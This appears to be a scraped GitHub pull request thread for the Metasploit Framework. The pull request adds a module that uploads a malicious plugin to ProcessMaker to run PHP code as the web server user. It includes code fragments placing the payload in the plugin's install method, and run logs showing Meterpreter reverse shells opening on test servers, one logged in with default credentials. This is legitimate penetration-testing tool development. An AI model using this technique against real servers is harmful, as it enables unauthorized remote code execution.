Add ProcessMaker Plugin Upload module #8539

bcoles · 2017-06-10T08:52:56Z

This PR adds an exploit for ProcessMaker.

    This module will generate and upload a plugin to ProcessMaker
    resulting in execution of PHP code as the web server user.

    Credentials for a valid user account with Administrator roles
    is required to run this module.

    This module has been tested successfully on ProcessMaker
    versions 1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0 on Windows 7 SP 1;
    and version 3.2.0 on Debian Linux 8.

Verification

Example Output

msf exploit(processmaker_plugin_upload) > run

[*] Started reverse TCP handler on 172.16.191.181:4444 
[*] Authenticating as user 'admin'
[+] 172.16.191.202:8080 Authenticated as user 'admin'
[*] 172.16.191.202:8080 Uploading plugin 'zqkMpDOiIlNEvhkNnV' (23552 bytes)
[*] Sending stage (33986 bytes) to 172.16.191.202
[*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.202:36592) at 2017-06-10 04:21:25 -0400
[+] Deleted ../../shared/sites/sample/files/input/zqkMpDOiIlNEvhkNnV-.tar
[+] Deleted ../../shared/sites/sample/files/input/zqkMpDOiIlNEvhkNnV.php
[+] Deleted ../../shared/sites/sample/files/input/zqkMpDOiIlNEvhkNnV/class.zqkMpDOiIlNEvhkNnV.php

meterpreter > getuid
Server username: user (1000)
meterpreter > sysinfo 
Computer    : debian
OS          : Linux debian 3.16.0-4-amd64 #1 SMP Debian 3.16.43-2 (2017-04-30) x86_64
Meterpreter : php/linux
meterpreter > exit

Installation

Source and Installers:

ProcessMaker

bcoles · 2017-06-10T08:53:48Z

modules/exploits/multi/http/processmaker_plugin_upload.rb

+    register_file_for_cleanup "#{upload_dir}#{@plugin_name}.php"
+    register_file_for_cleanup "#{upload_dir}#{@plugin_name}/class.#{@plugin_name}.php"
+    # uncomment when cleanup of folders is supported
+    # register_folder_for_cleanup "#{upload_dir}#{@plugin_name}"


Bumping #8018.


        Add ProcessMaker Plugin Upload exploit module


        Add documentation

bcoles · 2017-06-10T09:01:26Z

modules/exploits/multi/http/processmaker_plugin_upload.rb

+        public function setup() {}
+        public function install() { #{payload.encoded} }
+        public function enable() {}
+        public function disable() {}


I found the best place to put the payload was in the install method.

Putting the payload in the enable method requires an extra HTTP request to trigger the payload; and also increases the chances something could go wrong if the code path to enable a module is changed in the future.

Putting the payload in the disable method is nice, because this method gets called automatically when we remove the plugin during cleanup. Unfortunately this is also problematic, because every attempt to remove the plugin calls the disable method, triggering the payload. This prevents the cleanup method from successfully removing the plugin from the web interface.

bcoles · 2017-06-10T09:02:54Z

modules/exploits/multi/http/processmaker_plugin_upload.rb

+      else
+        print_warning "#{peer} Unexpected reply"
+      end
+    end


Although this code block isn't ideal, triggering the payload during plugin installation was the best approach as per comments below.

brandonprry · 2017-06-24T16:35:04Z

Testing this

brandonprry · 2017-06-24T16:41:43Z

This works for me.

msf > use exploit/multi/http/processmaker_plugin_upload 
msf exploit(processmaker_plugin_upload) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(processmaker_plugin_upload) > set USERNAME admin
USERNAME => admin
msf exploit(processmaker_plugin_upload) > set PASSWORD bitnami
PASSWORD => bitnami
msf exploit(processmaker_plugin_upload) > exploit

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Authenticating as user 'admin'
[+] 192.168.56.101:80 Authenticated as user 'admin'
[*] 192.168.56.101:80 Uploading plugin 'AWJsFsAPWQpGbNyTDdV' (23552 bytes)
[*] Sending stage (33986 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:36410) at 2017-06-24 11:41:11 -0500
[+] Deleted ../../shared/sites/workflow/files/input/AWJsFsAPWQpGbNyTDdV-.tar
[+] Deleted ../../shared/sites/workflow/files/input/AWJsFsAPWQpGbNyTDdV.php
[+] Deleted ../../shared/sites/workflow/files/input/AWJsFsAPWQpGbNyTDdV/class.AWJsFsAPWQpGbNyTDdV.php

meterpreter > getuid
Server username: daemon (1)
meterpreter >

brandonprry · 2017-06-24T18:45:29Z

modules/exploits/multi/http/processmaker_plugin_upload.rb

+                           'cookie'    => @cookie,
+                           'vars_post' => vars_post
+
+    if !res


I think unless is preferred.

brandonprry · 2017-06-24T18:47:26Z

modules/exploits/multi/http/processmaker_plugin_upload.rb

+    # ProcessMaker 1.x requires "-" after the plugin name in the file name
+    fname = "#{plugin_name}-.tar"
+
+    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric rand(10) + 5}"


Why not use Rex::MIME::Message?

I've had issues with 0x0D in the past.

I don't remember if that was an issue here - I might have just assumed Rex::MIME::Message would be problematic.

It's worth noting that there's no (feasible) way to control the binary data to prevent use of 0x0D as the post data is a generated TAR archive. It is not subject to BadChars restrictions.

sempervictus · 2017-07-11T23:09:16Z

@bcoles: for a trophy wife, you sure as hell pr like a champ.
I think some/lots of this belongs in lib... Wanna take a stab at the ecosystem past the use case ;-)?

bcoles · 2017-07-11T23:48:20Z

@sempervictus I don't understand.

This code isn't likely to be re-used - what part of this should belong in ./lib/ ?

sempervictus · 2017-07-12T00:01:09Z

@bcoles: I hit the wrong PR I'd on that, sorry. Comment stands alone though - you implement a lot of useful functionality

bcoles · 2017-07-12T00:11:34Z

This module is made more useful by these bugs (currently un-patched):

bcoles · 2017-08-14T07:07:51Z

This PR is blocked on #8018 to add a reg_dir_for_cleanup method.

busterb · 2017-08-20T23:52:29Z

sounds like reg_dir_for_cleanup ought to be next on the hit list


        Use register_dir_for_cleanup

bcoles · 2018-02-02T08:26:55Z

Bump


        require 'rubygems/package'

sempervictus · 2018-02-22T05:24:27Z

Oh fun. Why a lib require in a module?

bcoles · 2018-02-22T16:51:51Z

@sempervictus feedback from @Chiggins indicated that the following error occurs without the require

I'm not sure why, as I tested with and without the require and the module works in both instances for me, on latest msf5 dev branch.

I opted to add the require, as the modules/auxiliary/admin/http/telpho10_credential_dump.rb module also makes use of Gem::Package::TarReader, like this module does, and that module also includes the require.

Chiggins · 2018-02-22T16:55:31Z

Yeah I'm not a big fan of requiring a library inside a module, but if that's the specialized case with this then ¯_(ツ)_/¯

sempervictus · 2018-02-22T17:00:46Z

If its ok with everyone, let's move the require somewhere into a higher level mixin if we can or just use a more common archive parser (Rex has some, right?). I can't tell you how many times I messed something up having a req in my plugins and expecting it to have already been spun up when the module leader got to something. Pretty sure I've borked PRs when upstreaming that way too.

bcoles · 2018-02-22T17:04:54Z

I agree with not including library requirements in modules. However, chiggins volunteered to manage this PR, and given the exploit failed for him that didn't leave me much choice.

No, Rex does not have a Tar archive parser.

sempervictus · 2018-02-22T17:24:34Z

Hmm, we should probably make a generic Rex archive module, a d bloody add fastlib to it :-)

bcoles · 2018-03-01T01:32:50Z

I agree, Rex should handle creation of TAR archives. Unfortunately I don't have time to implement this. It's also outside the scope of this PR.


        Update tested versions


        require 'rex/tar'


        Remove require statement


        Land #8539, ProcessMaker Plugin Upload exploit


        Land #8539, ProcessMaker Plugin Upload exploit

bwatters-r7 · 2018-04-06T16:15:32Z

Release Notes

The exploits/multi/http/processmaker_plugin_upload module has been added to the framework. It generates and uploads a plugin to ProcessMaker to execute PHP code as the web server user. Credentials for a valid Administrator account are required to exploit this vulnerability.

bcoles reviewed Jun 10, 2017

View changes

bcoles added 2 commits Jun 10, 2017

Add ProcessMaker Plugin Upload exploit module

6a4c614

Add documentation

Loading status checks…

f326014

bcoles reviewed Jun 10, 2017

View changes

bcoles mentioned this pull request Jun 15, 2017

Update processmaker_exec module #8551

Merged

brandonprry reviewed Jun 24, 2017

View changes

modules/exploits/multi/http/processmaker_plugin_upload.rb

'cookie' => @cookie,

'vars_post' => vars_post

if !res

This comment has been minimized.

Sign in to view

Copy link

brandonprry Jun 24, 2017
Contributor

I think unless is preferred.

brandonprry reviewed Jun 24, 2017

View changes

busterb added the module label Jul 7, 2017

Use register_dir_for_cleanup

Loading status checks…

6665a4f

bcoles mentioned this pull request Jan 11, 2018

Add register_dir{,s}_for_cleanup #9369

Merged

bcoles added the docs label Jan 11, 2018

require 'rubygems/package'

Loading status checks…

f98b4b0

bcoles mentioned this pull request Mar 1, 2018

Implement `Rex::Tar` for working with Tar archives #9651

Closed

wvu-r7 mentioned this pull request Mar 20, 2018

Add Rex::Tar #9726

Merged

Update tested versions

Loading status checks…

ac9f506

bcoles added the delayed label Mar 22, 2018

require 'rex/tar'

Loading status checks…

d860d7a

bcoles removed the delayed label Apr 3, 2018

bcoles assigned Chiggins Apr 3, 2018

Remove require statement

Loading status checks…

dfb3a42

bcoles deleted the bcoles:processmaker_plugin_upload branch Apr 4, 2018

msjenkins-r7 added a commit that referenced this pull request Apr 5, 2018

Land #8539, ProcessMaker Plugin Upload exploit

Verified

This commit was signed with a verified signature.

msjenkins-r7 Metasploit Jenkins Bot

GPG key ID: CDFB5FA52007B954 Learn about signing commits

ded6a50

allrosenthal-r7 added the rn-exploit label Apr 10, 2018

rapid7 / metasploit-framework

Join GitHub today

Add ProcessMaker Plugin Upload module #8539

Add ProcessMaker Plugin Upload module #8539

Conversation

bcoles commented Jun 10, 2017

Verification

Example Output

Installation

This comment has been minimized.

bcoles Jun 10, 2017

This comment has been minimized.

wvu-r7 Jun 10, 2017 • edited

This comment has been minimized.

bcoles Jun 10, 2017

This comment has been minimized.

bcoles Jun 10, 2017

This comment has been minimized.

brandonprry commented Jun 24, 2017

This comment has been minimized.

brandonprry commented Jun 24, 2017

This comment has been minimized.

brandonprry Jun 24, 2017

This comment has been minimized.

brandonprry Jun 24, 2017

This comment has been minimized.

bcoles Jun 25, 2017

This comment has been minimized.

bcoles Jun 28, 2017

This comment has been minimized.

sempervictus commented Jul 11, 2017

This comment has been minimized.

bcoles commented Jul 11, 2017

This comment has been minimized.

sempervictus commented Jul 12, 2017

This comment has been minimized.

bcoles commented Jul 12, 2017

This comment has been minimized.

bcoles commented Aug 14, 2017

This comment has been minimized.

busterb commented Aug 20, 2017

This comment has been minimized.

bcoles commented Feb 2, 2018

This comment has been minimized.

sempervictus commented on f98b4b0 Feb 22, 2018

This comment has been minimized.

bcoles replied Feb 22, 2018

This comment has been minimized.

Chiggins replied Feb 22, 2018

This comment has been minimized.

sempervictus replied Feb 22, 2018

This comment has been minimized.

bcoles replied Feb 22, 2018

This comment has been minimized.

sempervictus replied Feb 22, 2018

This comment has been minimized.

bcoles replied Mar 1, 2018

This comment has been minimized.

bwatters-r7 commented Apr 6, 2018 • edited by allrosenthal-r7

Release Notes

wvu-r7 Jun 10, 2017 •

edited

sempervictus commented on `f98b4b0` Feb 22, 2018

bwatters-r7 commented Apr 6, 2018 •

edited by allrosenthal-r7